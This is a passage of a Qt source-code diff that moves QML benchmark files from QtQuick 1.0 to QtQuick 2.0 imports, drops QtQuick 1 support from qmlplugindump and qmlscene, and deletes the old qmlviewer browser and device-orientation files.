****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml b/tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml index be5f13a94a..fbe4acb8d3 100644 --- a/tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml +++ b/tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/item_creation/children.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/children.qml index b4eab7eefb..85698d6bf6 100644 --- a/tests/benchmarks/declarative/qmltime/tests/item_creation/children.qml +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/children.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/item_creation/data.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/data.qml index d754a2e003..6a8ca1b968 100644 --- a/tests/benchmarks/declarative/qmltime/tests/item_creation/data.qml +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/data.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/item_creation/no_creation.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/no_creation.qml index 4c1f8846ca..4dde9f289e 100644 --- a/tests/benchmarks/declarative/qmltime/tests/item_creation/no_creation.qml +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/no_creation.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/item_creation/resources.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/resources.qml index 0ceb69e1e1..802598839c 100644 --- a/tests/benchmarks/declarative/qmltime/tests/item_creation/resources.qml +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/resources.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml b/tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml index 4395131861..d5d22f948c 100644 --- a/tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml +++ b/tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Item { Rectangle {} diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml index 553ae4f1da..ab42dfb2f9 100644 --- a/tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml +++ b/tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml index 9fd3f051e8..c32ca2e61b 100644 --- a/tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml +++ b/tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml index 1195f30c48..dff5f11f99 100644 --- a/tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml +++ b/tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml index b956e5c900..6b16afc1c4 100644 --- a/tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml +++ b/tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/positioner_creation/no_positioner.qml b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/no_positioner.qml index abe8346251..e9f13e9deb 100644 --- a/tests/benchmarks/declarative/qmltime/tests/positioner_creation/no_positioner.qml +++ b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/no_positioner.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/positioner_creation/null_positioner.qml b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/null_positioner.qml index 6e66d984b4..d50da90764 100644 --- a/tests/benchmarks/declarative/qmltime/tests/positioner_creation/null_positioner.qml +++ b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/null_positioner.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/positioner_creation/positioner.qml b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/positioner.qml index 59e208fcac..8f7814be6a 100644 --- a/tests/benchmarks/declarative/qmltime/tests/positioner_creation/positioner.qml +++ b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/positioner.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/vmemetaobject/null.qml b/tests/benchmarks/declarative/qmltime/tests/vmemetaobject/null.qml index a1226b08bf..34d6b30670 100644 --- a/tests/benchmarks/declarative/qmltime/tests/vmemetaobject/null.qml +++ b/tests/benchmarks/declarative/qmltime/tests/vmemetaobject/null.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/vmemetaobject/property.qml b/tests/benchmarks/declarative/qmltime/tests/vmemetaobject/property.qml index bacb5fc4ca..4dd63bb36e 100644 --- a/tests/benchmarks/declarative/qmltime/tests/vmemetaobject/property.qml +++ b/tests/benchmarks/declarative/qmltime/tests/vmemetaobject/property.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/script/data/CustomObject.qml b/tests/benchmarks/declarative/script/data/CustomObject.qml index d59b912736..7c8c561114 100644 --- a/tests/benchmarks/declarative/script/data/CustomObject.qml +++ b/tests/benchmarks/declarative/script/data/CustomObject.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 QtObject { property real prop1: 0 diff --git a/tests/benchmarks/declarative/script/data/block.qml b/tests/benchmarks/declarative/script/data/block.qml index c8d9495fc1..67ad5cbed2 100644 --- a/tests/benchmarks/declarative/script/data/block.qml +++ b/tests/benchmarks/declarative/script/data/block.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Rectangle { width: 200; height: 200 diff --git a/tests/benchmarks/declarative/script/data/enums.qml b/tests/benchmarks/declarative/script/data/enums.qml index 4e0bd8a224..8450b15732 100644 --- a/tests/benchmarks/declarative/script/data/enums.qml +++ b/tests/benchmarks/declarative/script/data/enums.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Item { function runtest() { diff --git a/tests/benchmarks/declarative/script/data/global_prop.qml b/tests/benchmarks/declarative/script/data/global_prop.qml index 9618bc1bd5..c77faaf9f4 100644 --- a/tests/benchmarks/declarative/script/data/global_prop.qml +++ b/tests/benchmarks/declarative/script/data/global_prop.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import "global.js" as Program Rectangle { diff --git a/tests/benchmarks/declarative/script/data/namespacedEnums.qml b/tests/benchmarks/declarative/script/data/namespacedEnums.qml index 5644fbfbc9..e49bf7e1ad 100644 --- a/tests/benchmarks/declarative/script/data/namespacedEnums.qml +++ b/tests/benchmarks/declarative/script/data/namespacedEnums.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 as QtQuick +import QtQuick 2.0 as QtQuick QtQuick.Item { function runtest() { diff --git a/tests/benchmarks/declarative/script/data/scriptCall.qml b/tests/benchmarks/declarative/script/data/scriptCall.qml index b76a95cb55..420f621dfc 100644 --- a/tests/benchmarks/declarative/script/data/scriptCall.qml +++ b/tests/benchmarks/declarative/script/data/scriptCall.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import "script.js" as Script import "script2.js" as OtherScript diff --git a/tools/qmlplugindump/main.cpp b/tools/qmlplugindump/main.cpp index afbc4a16e2..ad8a3a6d64 100644 --- a/tools/qmlplugindump/main.cpp +++ b/tools/qmlplugindump/main.cpp @@ -45,10 +45,6 @@ #include #include -#ifdef QT_WIDGETS_LIB -#include -#endif - #include #include #include @@ -84,8 +80,8 @@ void collectReachableMetaObjects(const QMetaObject *meta, QSetcontains(meta)) return; - // dynamic meta objects can break things badly (like QDeclarative1VisualDataModelParts) - // but extended types are usually fine (like QDeclarative1GraphicsWidget) + // dynamic meta objects can break things badly + // but extended types are usually fine const QMetaObjectPrivate *mop = reinterpret_cast(meta->d.data); if (extended || !(mop->flags & DynamicMetaObject)) metas->insert(meta); @@ -611,11 +607,7 @@ int main(int argc, char *argv[]) QtSimulatorPrivate::SimulatorConnection::createStubInstance(); #endif -#ifdef QT_WIDGETS_LIB - QApplication app(argc, argv); -#else QGuiApplication app(argc, argv); -#endif const QStringList args = app.arguments(); const QString appName = QFileInfo(app.applicationFilePath()).baseName(); if (args.size() < 2) { @@ -687,21 +679,6 @@ int main(int argc, char *argv[]) engine.addImportPath(pluginImportPath); } -#ifdef QT_WIDGETS_LIB - // load the QtQuick 1 plugin - { - QByteArray code("import QtQuick 1.0\nQtObject {}"); - QDeclarativeComponent c(&engine); - c.setData(code, QUrl::fromLocalFile(pluginImportPath + "/loadqtquick1.qml")); - c.create(); - if (!c.errors().isEmpty()) { - foreach (const QDeclarativeError &error, c.errors()) - qWarning() << error.toString(); - return EXIT_IMPORTERROR; - } - } -#endif - // load the QtQuick 2 plugin { QByteArray code("import QtQuick 2.0\nQtObject {}"); diff --git a/tools/qmlplugindump/qmlplugindump.pro b/tools/qmlplugindump/qmlplugindump.pro index 25c0037129..e1c8485e27 100644 --- a/tools/qmlplugindump/qmlplugindump.pro +++ b/tools/qmlplugindump/qmlplugindump.pro @@ -3,7 +3,6 @@ CONFIG += qt uic console DESTDIR = $$QT.declarative.bins QT += declarative declarative-private quick-private core-private -!isEmpty(QT.widgets.name):!isEmpty(QT.qtquick1.name): QT += widgets qtquick1 TARGET = qmlplugindump diff --git a/tools/qmlscene/main.cpp b/tools/qmlscene/main.cpp index 6138e38134..115dace0b6 100644 --- a/tools/qmlscene/main.cpp +++ b/tools/qmlscene/main.cpp @@ -241,54 +241,53 @@ static int displayOptionsDialog(Options *options) } #endif -static void checkAndAdaptVersion(const QUrl &url) +static bool checkVersion(const QUrl &url) { if (!qgetenv("QMLSCENE_IMPORT_NAME").isEmpty()) { - return; + qWarning("QMLSCENE_IMPORT_NAME is no longer supported."); } QString fileName = url.toLocalFile(); - if (fileName.isEmpty()) - return; + if (fileName.isEmpty()) { + qWarning("qmlscene: filename required."); + return false; + } QFile f(fileName); if (!f.open(QFile::ReadOnly | QFile::Text)) { qWarning("qmlscene: failed to check version of file '%s', could not open...", qPrintable(fileName)); - return; + return false; } - QRegExp quick1("^\\s*import +QtQuick +1\\."); - QRegExp quick2("^\\s*import +QtQuick +2\\."); + QRegExp quick1("^\\s*import +QtQuick +1\\.\\w*"); QRegExp qt47("^\\s*import +Qt +4\\.7"); - QString envToWrite; - QString compat; - QTextStream stream(&f); bool codeFound= false; while (!codeFound) { QString line = stream.readLine(); - if (line.contains("{")) + if (line.contains("{")) { codeFound = true; - if (envToWrite.isEmpty() && quick1.indexIn(line) >= 0) { - envToWrite = QLatin1String("quick1"); - compat = QLatin1String("QtQuick 1.0"); - } else if (envToWrite.isEmpty() && qt47.indexIn(line) >= 0) { - envToWrite = QLatin1String("qt"); - compat = QLatin1String("Qt 4.7"); - } else if (quick2.indexIn(line) >= 0) { - envToWrite.clear(); - compat.clear(); - break; + } else { + QString import; + if (quick1.indexIn(line) >= 0) { + import = quick1.cap(0).trimmed(); + } else if (qt47.indexIn(line) >= 0) { + import = qt47.cap(0).trimmed(); + } + + if (!import.isNull()) { + qWarning("qmlscene: '%s' is no longer supported.\n" + "Use qmlviewer to load file '%s'.", + qPrintable(import), + qPrintable(fileName)); + return false; + } } } - if (!envToWrite.isEmpty()) { - qWarning("qmlscene: Autodetecting compatibility import \"%s\"...", qPrintable(compat)); - if (qgetenv("QMLSCENE_IMPORT_NAME").isEmpty()) - qputenv("QMLSCENE_IMPORT_NAME", envToWrite.toLatin1().constData()); - } + return true; } static void displayFileDialog(Options *options) @@ -398,36 +397,36 @@ int main(int argc, char ** argv) int exitCode = 0; if (!options.file.isEmpty()) { - if (options.versionDetection) - checkAndAdaptVersion(options.file); - QQuickView *qxView = new MyQQuickView(); - engine = qxView->engine(); - for (int i = 0; i < imports.size(); ++i) - engine->addImportPath(imports.at(i)); - window = qxView; - if (options.file.isLocalFile()) { - QFileInfo fi(options.file.toLocalFile()); - loadDummyDataFiles(*engine, fi.path()); - } - qxView->setSource(options.file); + if (!options.versionDetection || checkVersion(options.file)) { + QQuickView *qxView = new MyQQuickView(); + engine = qxView->engine(); + for (int i = 0; i < imports.size(); ++i) + engine->addImportPath(imports.at(i)); + window = qxView; + if (options.file.isLocalFile()) { + QFileInfo fi(options.file.toLocalFile()); + loadDummyDataFiles(*engine, fi.path()); + } + qxView->setSource(options.file); - QObject::connect(engine, SIGNAL(quit()), QCoreApplication::instance(), SLOT(quit())); + QObject::connect(engine, SIGNAL(quit()), QCoreApplication::instance(), SLOT(quit())); - window->setWindowFlags(Qt::Window | Qt::WindowSystemMenuHint | Qt::WindowTitleHint | Qt::WindowMinMaxButtonsHint | Qt::WindowCloseButtonHint); - if (options.fullscreen) - window->showFullScreen(); - else if (options.maximized) - window->showMaximized(); - else - window->show(); + window->setWindowFlags(Qt::Window | Qt::WindowSystemMenuHint | Qt::WindowTitleHint | Qt::WindowMinMaxButtonsHint | Qt::WindowCloseButtonHint); + if (options.fullscreen) + window->showFullScreen(); + else if (options.maximized) + window->showMaximized(); + else + window->show(); - exitCode = app.exec(); + exitCode = app.exec(); - delete window; + delete window; #ifdef QML_RUNTIME_TESTING - RenderStatistics::printTotalStats(); + RenderStatistics::printTotalStats(); #endif + } } return exitCode; diff --git a/tools/qmlviewer/Info_mac.plist b/tools/qmlviewer/Info_mac.plist deleted file mode 100644 index 08775479ba..0000000000 --- a/tools/qmlviewer/Info_mac.plist +++ /dev/null @@ -1,49 +0,0 @@ - - - - - CFBundleIconFile - @ICON@ - CFBundleIdentifier - com.nokia.qt.qml - CFBundlePackageType - APPL - CFBundleGetInfoString - Created by Qt/QMake - CFBundleSignature - @TYPEINFO@ - CFBundleExecutable - @EXECUTABLE@ - UTExportedTypeDeclarations - - - UTTypeIdentifier - com.nokia.qt.qml - UTTypeDescription - Qt Markup Language - UTTypeConformsTo - - public.plain-text - - UTTypeTagSpecification - - public.filename-extension - - qml - - - - - CFBundleDocumentTypes - - - LSItemContentTypes - - com.nokia.qt.qml - - CFBundleTypeRole - Viewer - - - - diff --git a/tools/qmlviewer/browser/Browser.qml b/tools/qmlviewer/browser/Browser.qml deleted file mode 100644 index f2cc4a858a..0000000000 --- a/tools/qmlviewer/browser/Browser.qml +++ /dev/null @@ -1,318 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import Qt.labs.folderlistmodel 1.0 - -Rectangle { - id: root - property bool showFocusHighlight: false - property variant folders: folders1 - property variant view: view1 - width: 320 - height: 480 - color: palette.window - - FolderListModel { - id: folders1 - nameFilters: [ "*.qml" ] - folder: qmlViewerFolder - } - FolderListModel { - id: folders2 - nameFilters: [ "*.qml" ] - folder: qmlViewerFolder - } - - SystemPalette { id: palette } - - function down(path) { - if (folders == folders1) { - view = view2 - folders = folders2; - view1.state = "exitLeft"; - } else { - view = view1 - folders = folders1; - view2.state = "exitLeft"; - } - view.x = root.width; - view.state = "current"; - view.focus = true; - folders.folder = path; - } - function up() { - var path = folders.parentFolder; - if (folders == folders1) { - view = view2 - folders = folders2; - view1.state = "exitRight"; - } else { - view = view1 - folders = folders1; - view2.state = "exitRight"; - } - view.x = -root.width; - view.state = "current"; - view.focus = true; - folders.folder = path; - } - function keyPressed(key) { - switch (key) { - case Qt.Key_Up: - case Qt.Key_Down: - case Qt.Key_Left: - case Qt.Key_Right: - root.showFocusHighlight = true; - break; - default: - // do nothing - break; - } - } - - Component { - id: folderDelegate - Rectangle { - id: wrapper - function launch() { - if (folders.isFolder(index)) { - down(filePath); - } else { - qmlViewer.launch(filePath); - } - } - width: root.width - height: 52 - color: "transparent" - Rectangle { - id: highlight; visible: false - anchors.fill: parent - color: palette.highlight - gradient: Gradient { - GradientStop { id: t1; position: 0.0; color: palette.highlight } - GradientStop { id: t2; position: 1.0; color: Qt.lighter(palette.highlight) } - } - } - Item { - width: 48; height: 48 - Image { source: "images/folder.png"; anchors.centerIn: parent; visible: folders.isFolder(index)} - } - Text { - id: nameText - anchors.fill: parent; verticalAlignment: Text.AlignVCenter - text: fileName - anchors.leftMargin: 54 - font.pixelSize: 32 - color: (wrapper.ListView.isCurrentItem && root.showFocusHighlight) ? palette.highlightedText : palette.windowText - elide: Text.ElideRight - } - MouseArea { - id: mouseRegion - anchors.fill: parent - onPressed: { - root.showFocusHighlight = false; - wrapper.ListView.view.currentIndex = index; - } - onClicked: { if (folders == wrapper.ListView.view.model) launch() } - } - states: [ - State { - name: "pressed" - when: mouseRegion.pressed - PropertyChanges { target: highlight; visible: true } - PropertyChanges { target: nameText; color: palette.highlightedText } - } - ] - } - } - - ListView { - id: view1 - anchors.top: titleBar.bottom - anchors.bottom: parent.bottom - x: 0 - width: parent.width - model: folders1 - delegate: folderDelegate - highlight: Rectangle { - color: palette.highlight - visible: root.showFocusHighlight && view1.count != 0 - gradient: Gradient { - GradientStop { id: t1; position: 0.0; color: palette.highlight } - GradientStop { id: t2; position: 1.0; color: Qt.lighter(palette.highlight) } - } - width: view1.currentItem == null ? 0 : view1.currentItem.width - } - highlightMoveSpeed: 1000 - pressDelay: 100 - focus: true - state: "current" - states: [ - State { - name: "current" - PropertyChanges { target: view1; x: 0 } - }, - State { - name: "exitLeft" - PropertyChanges { target: view1; x: -root.width } - }, - State { - name: "exitRight" - PropertyChanges { target: view1; x: root.width } - } - ] - transitions: [ - Transition { - to: "current" - SequentialAnimation { - NumberAnimation { properties: "x"; duration: 250 } - } - }, - Transition { - NumberAnimation { properties: "x"; duration: 250 } - NumberAnimation { properties: "x"; duration: 250 } - } - ] - Keys.onPressed: root.keyPressed(event.key) - } - - ListView { - id: view2 - anchors.top: titleBar.bottom - anchors.bottom: parent.bottom - x: parent.width - width: parent.width - model: folders2 - delegate: folderDelegate - highlight: Rectangle { - color: palette.highlight - visible: root.showFocusHighlight && view2.count != 0 - gradient: Gradient { - GradientStop { id: t1; position: 0.0; color: palette.highlight } - GradientStop { id: t2; position: 1.0; color: Qt.lighter(palette.highlight) } - } - width: view1.currentItem == null ? 0 : view1.currentItem.width - } - highlightMoveSpeed: 1000 - pressDelay: 100 - states: [ - State { - name: "current" - PropertyChanges { target: view2; x: 0 } - }, - State { - name: "exitLeft" - PropertyChanges { target: view2; x: -root.width } - }, - State { - name: "exitRight" - PropertyChanges { target: view2; x: root.width } - } - ] - transitions: [ - Transition { - to: "current" - SequentialAnimation { - NumberAnimation { properties: "x"; duration: 250 } - } - }, - Transition { - NumberAnimation { properties: "x"; duration: 250 } - } - ] - Keys.onPressed: root.keyPressed(event.key) - } - - Keys.onPressed: { - root.keyPressed(event.key); - if (event.key == Qt.Key_Return || event.key == Qt.Key_Select || event.key == Qt.Key_Right) { - view.currentItem.launch(); - event.accepted = true; - } else if (event.key == Qt.Key_Left) { - up(); - } - } - - BorderImage { - source: "images/titlebar.sci"; - width: parent.width; - height: 52 - y: -7 - id: titleBar - - Rectangle { - id: upButton - width: 48 - height: titleBar.height - 7 - color: "transparent" - - Image { anchors.centerIn: parent; source: "images/up.png" } - MouseArea { id: upRegion; anchors.centerIn: parent - width: 56 - height: 56 - onClicked: if (folders.parentFolder != "") up() - } - states: [ - State { - name: "pressed" - when: upRegion.pressed - PropertyChanges { target: upButton; color: palette.highlight } - } - ] - } - Rectangle { - color: "gray" - x: 48 - width: 1 - height: 44 - } - - Text { - anchors.left: upButton.right; anchors.right: parent.right; height: parent.height - anchors.leftMargin: 4; anchors.rightMargin: 4 - text: folders.folder - color: "white" - elide: Text.ElideLeft; horizontalAlignment: Text.AlignRight; verticalAlignment: Text.AlignVCenter - font.pixelSize: 32 - } - } -} diff --git a/tools/qmlviewer/browser/browser.qrc b/tools/qmlviewer/browser/browser.qrc deleted file mode 100644 index 9c688e7521..0000000000 --- a/tools/qmlviewer/browser/browser.qrc +++ /dev/null @@ -1,9 +0,0 @@ - - - Browser.qml - images/up.png - images/folder.png - images/titlebar.sci - images/titlebar.png - - diff --git a/tools/qmlviewer/browser/images/folder.png b/tools/qmlviewer/browser/images/folder.png deleted file mode 100644 index e53e2ad464..0000000000 Binary files a/tools/qmlviewer/browser/images/folder.png and /dev/null differ diff --git a/tools/qmlviewer/browser/images/titlebar.png b/tools/qmlviewer/browser/images/titlebar.png deleted file mode 100644 index 51c90082d0..0000000000 Binary files a/tools/qmlviewer/browser/images/titlebar.png and /dev/null differ diff --git a/tools/qmlviewer/browser/images/titlebar.sci b/tools/qmlviewer/browser/images/titlebar.sci deleted file mode 100644 index 0418d94cd6..0000000000 --- a/tools/qmlviewer/browser/images/titlebar.sci +++ /dev/null @@ -1,5 +0,0 @@ -border.left: 10 -border.top: 12 -border.bottom: 12 -border.right: 10 -source: titlebar.png diff --git a/tools/qmlviewer/browser/images/up.png b/tools/qmlviewer/browser/images/up.png deleted file mode 100644 index b05f8025d0..0000000000 Binary files a/tools/qmlviewer/browser/images/up.png and /dev/null differ diff --git a/tools/qmlviewer/deviceorientation.cpp b/tools/qmlviewer/deviceorientation.cpp deleted file mode 100644 index edb9dbb45a..0000000000 --- a/tools/qmlviewer/deviceorientation.cpp +++ /dev/null @@ -1,80 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "deviceorientation.h" - -QT_USE_NAMESPACE - -class DefaultDeviceOrientation : public DeviceOrientation -{ - Q_OBJECT -public: - DefaultDeviceOrientation() : DeviceOrientation(), m_orientation(DeviceOrientation::Portrait) {} - - Orientation orientation() const { - return m_orientation; - } - - void pauseListening() { - } - void resumeListening() { - } - - void setOrientation(Orientation o) { - if (o != m_orientation) { - m_orientation = o; - emit orientationChanged(); - } - } - - Orientation m_orientation; -}; - -DeviceOrientation* DeviceOrientation::instance() -{ - static DefaultDeviceOrientation *o = 0; - if (!o) - o = new DefaultDeviceOrientation; - return o; -} - -#include "deviceorientation.moc" - diff --git a/tools/qmlviewer/deviceorientation.h b/tools/qmlviewer/deviceorientation.h deleted file mode 100644 index f74be746c6..0000000000 --- a/tools/qmlviewer/deviceorientation.h +++ /dev/null @@ -1,84 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef ORIENTATION_H -#define ORIENTATION_H - -#include - -QT_BEGIN_NAMESPACE - -class DeviceOrientationPrivate; -class DeviceOrientation : public QObject -{ - Q_OBJECT - Q_ENUMS(Orientation) -public: - enum Orientation { - UnknownOrientation, - Portrait, - Landscape, - PortraitInverted, - LandscapeInverted - }; - - virtual Orientation orientation() const = 0; - virtual void setOrientation(Orientation) = 0; - - virtual void pauseListening() = 0; - virtual void resumeListening() = 0; - - static DeviceOrientation *instance(); - -signals: - void orientationChanged(); - -protected: - DeviceOrientation() {} - -private: - DeviceOrientationPrivate *d_ptr; - friend class DeviceOrientationPrivate; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qmlviewer/deviceorientation_harmattan.cpp b/tools/qmlviewer/deviceorientation_harmattan.cpp deleted file mode 100644 index e82c139054..0000000000 --- a/tools/qmlviewer/deviceorientation_harmattan.cpp +++ /dev/null @@ -1,161 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to 